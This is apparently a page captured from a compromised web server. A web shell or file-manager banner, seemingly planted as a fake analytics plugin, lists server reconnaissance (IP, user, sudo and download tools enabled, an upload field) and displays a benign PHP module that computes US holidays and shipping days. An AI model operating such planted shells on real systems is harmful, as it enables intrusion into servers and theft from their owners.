Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/holidaysUsa/ |
Upload File : |
<?php
namespace modules\holidaysUsa;
class main extends \moduleMain {
public function __construct() {
parent::__construct(__DIR__);
}
public function Activate() {
hook_add('day.next', [$this, '__daycalc']); // do we have two hours remaining in the day
}
// what is the Next Business Day?
private function easter_days2($year) {
#First calculate the date of easter using Delambre's algorithm.
$a = $year % 19;
$b = floor($year / 100);
$c = $year % 100;
$d = floor($b / 4);
$e = $b % 4;
$f = floor(($b + 8) / 25);
$g = floor(($b - $f + 1) / 3);
$h = (19 * $a + $b - $d - $g + 15) % 30;
$i = floor($c / 4);
$k = $c % 4;
$l = (32 + 2 * $e + 2 * $i - $h - $k) % 7;
$m = floor(($a + 11 * $h + 22 * $l) / 451);
$n = ($h + $l - 7 * $m + 114);
$month = floor($n / 31);
$day = $n % 31 + 1;
return array('m' => $month, 'd' => $day);
}
public function GetHolidayDates($year) {
$output = array();
$this->SpecificDate($output, $year, 1, 1, 'New Year’s Day', 1);
$this->asDate($output, $year, 'third monday of jan', 'Martin Luther King, Jr');
$this->asDate($output, $year, 'third monday of feb', 'Washington’s Birthday');
$this->asDate($output, $year, 'third monday of apr', 'Patriots’ Day');
// $this->easter_days2($year); // Easter Sunday. always a sunday, so we don't need to worry about it
$this->asDate($output, $year, 'last monday of may', 'Memorial Day');
$this->SpecificDate($output, $year, 7, 4, 'Independence Day', 0, 1);
$this->asDate($output, $year, 'first monday of sep', 'Labor Day');
$this->asDate($output, $year, 'second monday of oct', 'Columbus Day');
$this->SpecificDate($output, $year, 11, 11, 'Veterans Day', 0);
$this->asDate($output, $year, 'fourth thursday of nov', 'Thanksgiving');
// $this->asDate($output, $year, 'fourth thursday of nov', 'Thanksgiving +1', 86400); // day after thanksgiving (may not be the Fourth Friday!)
$this->SpecificDate($output, $year, 12, 25, 'Christmas Day', 1);
return $output;
}
private function SpecificDate(&$output, $y, $m, $d, $desc, $dayafter = 0, $flags = 0) {
$dt = gmmktime(12, 0, 0, $m, $d, $y);
$dow = intval(gmdate('w', $dt)); // 0 = sunday => 6 = saturday
if (!$dow) { // falls on a sunday, so following day is a holiday
$d++;
$desc .= ' observed';
} else if ($flags & 1 && $dow == 6) { // if falls on Saturday, then observed on Friday [Indep Day)
$d++;
$desc .= ' observed';
}
$output["$m:$d"] = $desc;
if ($dayafter && $dow == 4) { // thursday, normally have friday off. I hope this is right
$d++;
$output["$m:$d"] = $desc . ' +1';
}
}
public function asDate(&$output, $year, $event, $desc, $delta = 0) {
$dt = gmmktime(12,0,0, 1, 1, $year);
$t = strtotime( $event . ' UTC', $dt) + $delta;
list($m, $d) = explode(',', gmdate('n,j', $t));
$output["$m:$d"] = $desc;
}
public function IsHoliday($y, $m, $d) {
$item = "$m:$d";
$dates = $this->GetHolidayDates($y);
return isset($dates[$item]) ? $dates[$item] : '';
}
public function IsHoliday_Date(\DateTime $dt) {
$yy = $dt->format('Y');
$mm = $dt->format('n');
$dd = $dt->format('j');
$dow = $dt->format('w'); // 0=sun => 6=Sat
if (!$dow) return 'sunday';
$name = $this->IsHoliday($yy, $mm, $dd);
return $name;
}
public function __daycalc(&$shipdate, $timezone) {
// convert to seller localtime
$date = new \DateTime('now', new \DateTimeZone($timezone));
$dow = $date->format('w'); // 0=sun => 6=Sat
$endofday = $dow == 6 ? 10 : 14;
$h = $date->format('G');
$description = $this->IsHoliday_Date($date);
if ($description != '' || $h >= $endofday) {
while ($description != '') {
$interval = \DateInterval::createFromDateString('1 day');
$date = $date->Add($interval);
$description = $this->IsHoliday_Date($date);
}
}
// return 3pm that Day (or 12noon saturday)
$dow = $date->format('w'); // 0=sun => 6=Sat
$endofday = $dow == 6 ? 12 : 15;
$date->setTime($endofday, 0);
$shipdate = $date->getTimeStamp();
}
}
/*
New Years Day – January first
Jan. 1, Thurs.
Jan. 1, Fri.
Jan. 1, Sun. (3)
Martin Luther King, Jr. Day– Third Monday in January
Jan. 19, Mon.
Jan. 18, Mon.
Jan. 16, Mon.
Washington’s Birthday – Third Monday in February
Feb. 16, Mon.
Feb. 15, Mon.
Feb. 20, Mon.
Patriots' Day – Third Monday in April
Apr. 20, Mon.
Apr. 18, Mon.
Apr. 17, Mon.
Memorial Day – Last Monday in May** (1)
May 25, Mon. (1)
May 30, Mon. (1)
May 29, Mon. (1)
Independence Day – July 4th**
July 4, Sat. (3)
July 4, Mon.
July 4, Tues.
Labor Day – First Monday in September**
Sept. 7, Mon.
Sept. 5, Mon.
Sept. 4, Mon.
Columbus Day – Second Monday in October* (Restrictions until 12 noon) (2)
Oct. 12, Mon. (2)
Oct. 10, Mon. (2)
Oct. 9, Mon. (2)
Veterans Day – November 11th*
(Restrictions until 1pm) (2)
Nov. 11, Wed. (2)
Nov. 11, Fri. (2)
Nov. 11, Sat. (2)
Thanksgiving Day – Customarily the fourth Thursday in November* (1)
Nov. 26, Thurs. (1)
Nov. 24, Thurs. (1)
Nov. 23, Thurs. (1)
Christmas Day – December 25th* (1)
Dec. 25, Fri. (1)
Dec. 25, Sun. (1)(3)
Dec. 25, Mon. (1)
* - Full restrictions apply for ALL commerce
** - Restrictions apply except to retail
*/